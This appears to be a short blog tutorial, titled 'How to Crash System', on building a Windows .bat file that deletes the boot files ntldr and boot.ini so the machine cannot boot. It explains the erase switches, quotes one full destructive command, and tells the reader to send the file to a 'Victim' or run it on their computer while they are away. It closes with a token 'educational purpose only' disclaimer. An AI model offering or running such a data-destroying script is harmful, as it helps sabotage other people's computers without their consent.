How to Crash System

Step 3: Save the file as Games.bat or save it with any name but it should end with .bat extension in the end.

/PPrompts for confirmation before deleting each file.
/FForce deleting of read-only files.
/SDelete specified files from all subdirectories.
/QQuiet mode, do not ask if ok to delete on global wildcard.
/ASelects files to delete based on attributes. and "h" is hidden attribute.
%SYSTEMDRIVE%It detects the drive, where Windows OS is Installed.

Basically, when this .bat file executed, The files in the window named ntldr and boot.ini gets deleted. This files are system files, which is needed for window to boot. If this files are missing at the time of booting, It will prompt error (System crash). However, Recovery is possible.
If you search on Google for system crash trick, Many are still copying and pasting the same articles into their blog. Those tricks have some problem, i.e. "erase /q /f /s /a:h c:\boot.ini c:\ntldr". This code looks fine, But it’s not necessary that Windows OS is installed in C:\ drive always. If the user is using windows in D:\ drive, then this code is useless (No effect). I’ve updated the command so that it would delete the files located in the Windows OS drive (Where Windows Operating system is installed). Send it to Victim. Let him open it or you open it in his/her absence and its Done. The next time he reboots the system, system will not boot again.
The only way to fix is to repair it using XP CD or Install Windows XP Again or else restore from the backup in case taken it earlier.

Please, Don’t try to harm others with this trick. This is for educational purpose only.
